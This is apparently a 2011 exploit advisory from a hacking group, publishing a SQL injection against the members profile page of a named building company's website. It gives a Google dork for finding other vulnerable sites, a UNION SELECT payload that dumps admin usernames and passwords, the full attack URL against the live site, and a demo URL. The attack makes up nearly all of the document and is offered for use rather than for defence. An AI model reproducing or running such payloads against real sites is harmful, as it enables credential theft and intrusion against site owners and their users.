__________.__                 __               ___ ___
\______   \  | _____    ____ |  | __          /   |   \  ____
 |    |  _/  | \__  \ _/ ___\|  |/ /  ______ /    ~    \/ ___\
 |    |   \  |__/ __ \\  \___|    <  /_____/ \    Y    / /_/  >
 |______  /____(____  /\___  >__|_ \          \___|_  /\___  /
        \/          \/     \/     \/                \//_____/
                                                               .ORG

###################################################
 [-] Exploit Title: Lamb Building SQL Injection Vulnerability
 [-] Author: Net.Edit0r
 [-]Discovered By: Mr.XHat
 [-] Home : Black-HG.Org
 [-] Version: Full
 [-] Tested On: Linux
 [-] Google Dork: inurl:profile.php?id= intext:"Lamb Building"
 [-] Email : Black.hat.tm[at]Gmail[dot]Com / Net.Edit0r[at]att[dot]net
 [-] Date : 30/08/2011
 [-] CVE : N/A
##################################################


# Exploit:


[+] 1+union+select+1,group_concat(username,0x3a,password)+from+lambbuil_1.admin--


[+] http://www.lambbuilding.co.uk/members/profile.php?id=1+union+select+1,group_concat(username,0x3a,password)+from+lambbuil_1.admin--


# Demo URL:

[+] http://www.lambbuilding.co.uk/members/profile.php?id=1'

##################################################
# | Greetz :
# | A.Cr0x & 3H34N & 4m!n & Cyrus & tHe.k!ll3r & Mr.XHat & Mikili
##################################################
magic_quotes_gpc :: Off
##################################################
I Love Iran And All Iranian People
##################################################